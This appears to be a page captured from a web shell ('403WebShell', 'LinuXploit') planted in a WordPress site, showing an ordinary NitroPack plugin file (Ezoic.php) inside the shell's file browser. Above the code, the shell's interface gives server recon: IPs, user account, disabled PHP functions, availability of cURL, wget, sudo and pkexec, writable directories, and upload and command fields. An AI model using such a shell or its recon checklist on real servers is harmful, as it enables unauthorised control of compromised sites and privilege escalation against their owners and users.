Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 172.67.134.116  /  Your IP : 216.73.217.22
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/nitropack/classes/Integration/Plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/nitropack/classes/Integration/Plugin/Ezoic.php
<?php

namespace NitroPack\Integration\Plugin;

class Ezoic {
    const STAGE = NULL; // Don't run init

    public static function isActive() {
        return defined('EZOIC_INTEGRATION_VERSION');
    }

    public static function disable() {
        global $wp_filter;
        $hook = "shutdown";

        if ( isset( $wp_filter[$hook]->callbacks ) ) {      
            array_walk( $wp_filter[$hook]->callbacks, function( $callbacks, $priority ) use ( &$hooks ) {           
                foreach ( $callbacks as $id => $callback ) {
                    $cb = $callback["function"];
                    if (is_callable($cb) && is_array($cb) && $cb[1] == "ez_buffer_end") {
                        remove_filter("shutdown", $cb, $priority);
                        register_shutdown_function('ob_end_flush');
                    }
                }
            });         
        }
    }

    public static function getHomeUrl($url) {
        $siteConfig = nitropack_get_site_config();
        if ( $siteConfig && null !== $nitro = get_nitropack_sdk($siteConfig["siteId"], $siteConfig["siteSecret"]) ) {
            $nitroUrl = $nitro->getUrl();
            $queryStart = strpos($nitroUrl, "?");
            if ($queryStart !== false) {
                return substr($nitroUrl, 0, $queryStart);
            } else {
                return $nitroUrl;
            }
        }

        return $url;
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit